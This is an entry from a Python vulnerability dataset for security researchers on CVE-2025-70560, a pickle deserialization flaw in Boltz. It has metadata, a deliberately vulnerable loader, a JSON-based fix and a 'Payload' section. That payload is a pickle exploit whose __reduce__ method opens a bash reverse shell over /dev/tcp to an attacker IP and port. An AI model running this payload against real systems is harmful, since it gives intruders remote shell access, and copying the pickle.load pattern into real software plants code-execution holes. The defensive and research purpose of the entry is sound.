VAITP Dataset

← Back to the dataset

CVE-2025-70560

Insecure deserialization of pickle data in Boltz allows code execution.

  • CVSS 8.4
  • CWE-502
  • Input Validation and Sanitization
  • Local

Boltz 2.0.0 contains an insecure deserialization vulnerability in its molecule loading functionality. The application uses Python pickle to deserialize molecule data files without validation. An attacker with the ability to place a malicious pickle file in a directory processed by boltz can achieve arbitrary code execution when the file is loaded.

CVSS base score
8.4
Published
2026-02-03
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
Boltz
Fixed by upgrading
Yes

Solution

No public patch is available. Replace the use of `pickle` with a safe data serialization format, such as JSON.

Vulnerable code sample

import pickle
import os

# Fictional 'Boltz' application module
# This code simulates the vulnerable functionality in Boltz 2.0.0

class Molecule:
    """A simple class to represent a molecule."""
    def __init__(self, name, formula, weight):
        self.name = name
        self.formula = formula
        self.weight = weight

    def __str__(self):
        return f"Molecule(name='{self.name}', formula='{self.formula}')"

def load_molecules_from_directory(directory_path):
    """
    Loads all molecule data files from a specified directory.
    The files are expected to be pickled Molecule objects.
    """
    loaded_molecules = []
    if not os.path.isdir(directory_path):
        print(f"Error: Directory '{directory_path}' not found.")
        return loaded_molecules

    print(f"Scanning for molecule files in '{directory_path}'...")
    for filename in os.listdir(directory_path):
        if filename.endswith(".mol_pkl"):
            file_path = os.path.join(directory_path, filename)
            print(f"Found molecule file: {file_path}. Loading...")
            try:
                with open(file_path, 'rb') as f:
                    # VULNERABLE PART:
                    # The application uses pickle.load to deserialize data from a file
                    # without any validation or safety checks. An attacker who can
                    # place a crafted .mol_pkl file in this directory can achieve
                    # arbitrary code execution.
                    molecule_obj = pickle.load(f)

                    if isinstance(molecule_obj, Molecule):
                        loaded_molecules.append(molecule_obj)
                        print(f"Successfully loaded molecule: {molecule_obj.name}")
                    else:
                        print(f"Warning: File {filename} did not contain a valid Molecule object.")
            except (pickle.UnpicklingError, EOFError) as e:
                print(f"Error deserializing {filename}: {e}")
            except Exception as e:
                print(f"An unexpected error occurred while processing {filename}: {e}")

    return loaded_molecules

if __name__ == '__main__':
    # This part of the script demonstrates how the function would be used.
    # It would typically be part of a larger application startup process.
    
    # Define the directory where molecule data is stored.
    # An attacker would target this directory.
    DATA_DIR = "molecule_data"
    
    # For demonstration, create the directory if it doesn't exist.
    if not os.path.exists(DATA_DIR):
        os.makedirs(DATA_DIR)
        print(f"Created data directory: '{DATA_DIR}'")

        # Create a legitimate molecule file for demonstration purposes.
        water = Molecule(name="Water", formula="H2O", weight=18.015)
        with open(os.path.join(DATA_DIR, "water.mol_pkl"), "wb") as f:
            pickle.dump(water, f)
        print("Created legitimate sample file 'water.mol_pkl'.")

    # Run the vulnerable loading function.
    # If a malicious file is present in DATA_DIR, it will be executed here.
    molecules = load_molecules_from_directory(DATA_DIR)

    print("\n--- Application finished loading ---")
    if molecules:
        print("The following molecules are now in memory:")
        for mol in molecules:
            print(f"- {mol}")
    else:
        print("No molecules were loaded.")

Patched code sample

import json
import os

# A simple representation of a molecule data structure.
# In a real application, this would be more complex.
class Molecule:
    def __init__(self, name, formula, atomic_masses):
        if not isinstance(name, str) or not name:
            raise ValueError("Molecule name must be a non-empty string.")
        if not isinstance(formula, str) or not formula:
            raise ValueError("Molecule formula must be a non-empty string.")
        if not isinstance(atomic_masses, dict):
            raise ValueError("Atomic masses must be a dictionary.")

        self.name = name
        self.formula = formula
        self.atomic_masses = atomic_masses

    def __repr__(self):
        return f"Molecule(name='{self.name}', formula='{self.formula}')"

# --- VULNERABLE CODE (REPRESENTATIVE EXAMPLE) ---
# The original insecure code would have used pickle without validation,
# allowing for arbitrary code execution.
#
# import pickle
#
# def load_molecule_vulnerable(filepath):
#     """
#     VULNERABLE: Deserializes data from a file using pickle.
#     An attacker could craft a file that executes arbitrary code upon loading.
#     """
#     with open(filepath, 'rb') as f:
#         # This is the vulnerable call.
#         return pickle.load(f)

# --- FIXED CODE ---

def save_molecule_secure(molecule, filepath):
    """
    Saves molecule data to a file using the secure JSON format.
    """
    if not isinstance(molecule, Molecule):
        raise TypeError("Object to be saved must be a Molecule instance.")
    
    data = {
        "name": molecule.name,
        "formula": molecule.formula,
        "atomic_masses": molecule.atomic_masses
    }
    with open(filepath, 'w') as f:
        json.dump(data, f, indent=2)

def load_molecule_secure(filepath):
    """
    FIXED: Deserializes molecule data from a file using JSON.
    It performs validation to ensure the data conforms to the expected structure
    before creating a Molecule object, preventing deserialization attacks.
    """
    if not os.path.exists(filepath):
        raise FileNotFoundError(f"No such file: '{filepath}'")

    with open(filepath, 'r') as f:
        try:
            data = json.load(f)
        except json.JSONDecodeError as e:
            raise ValueError(f"Invalid JSON format in {filepath}: {e}")

    # 1. Validate that the loaded data is a dictionary
    if not isinstance(data, dict):
        raise TypeError(f"Expected data to be a dictionary, but got {type(data).__name__}")

    # 2. Validate the presence and type of required keys
    required_keys = ["name", "formula", "atomic_masses"]
    for key in required_keys:
        if key not in data:
            raise ValueError(f"Missing required key in molecule data: '{key}'")

    # 3. Construct the object from validated data, allowing the class's
    #    own __init__ validation to run as a final check.
    try:
        molecule = Molecule(
            name=data["name"],
            formula=data["formula"],
            atomic_masses=data["atomic_masses"]
        )
        return molecule
    except (ValueError, TypeError) as e:
        # Catches validation errors from the Molecule.__init__ method
        raise ValueError(f"Data in {filepath} is invalid for Molecule object: {e}")


if __name__ == '__main__':
    # --- DEMONSTRATION OF THE FIX ---
    
    # 1. Create a legitimate molecule object and save it securely.
    water = Molecule(
        name="Water",
        formula="H2O",
        atomic_masses={"H": 1.008, "O": 15.999}
    )
    safe_filepath = "water.json"
    save_molecule_secure(water, safe_filepath)
    print(f"Saved '{water.name}' to '{safe_filepath}'")

    # 2. Load the molecule back using the secure function.
    try:
        loaded_molecule = load_molecule_secure(safe_filepath)
        print(f"Successfully loaded molecule: {loaded_molecule}")
        assert loaded_molecule.name == "Water"
        assert loaded_molecule.formula == "H2O"
    except (ValueError, TypeError, FileNotFoundError) as e:
        print(f"Error loading molecule: {e}")

    print("-" * 20)

    # 3. Demonstrate failure with a malformed/malicious file.
    # This file is missing the 'formula' key.
    malicious_data = '{"name": "Incomplete Molecule", "atomic_masses": {}}'
    malicious_filepath = "malicious.json"
    with open(malicious_filepath, 'w') as f:
        f.write(malicious_data)
    
    print(f"Attempting to load from '{malicious_filepath}'...")
    try:
        load_molecule_secure(malicious_filepath)
    except ValueError as e:
        print(f"Correctly caught error: {e}")
        print("The secure loader prevented an invalid object from being created.")
    
    # Clean up the created files
    os.remove(safe_filepath)
    os.remove(malicious_filepath)

Payload

import pickle
import os

ATTACKER_IP = "127.0.0.1"
ATTACKER_PORT = 4444

class Exploit:
    def __reduce__(self):
        command = f"bash -c 'bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1'"
        return (os.system, (command,))

with open("malicious_molecule_file.dat", "wb") as f:
    pickle.dump(Exploit(), f)

Cite this entry

@misc{vaitp:cve202570560,
  title        = {{Insecure deserialization of pickle data in Boltz allows code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-70560},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-70560/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::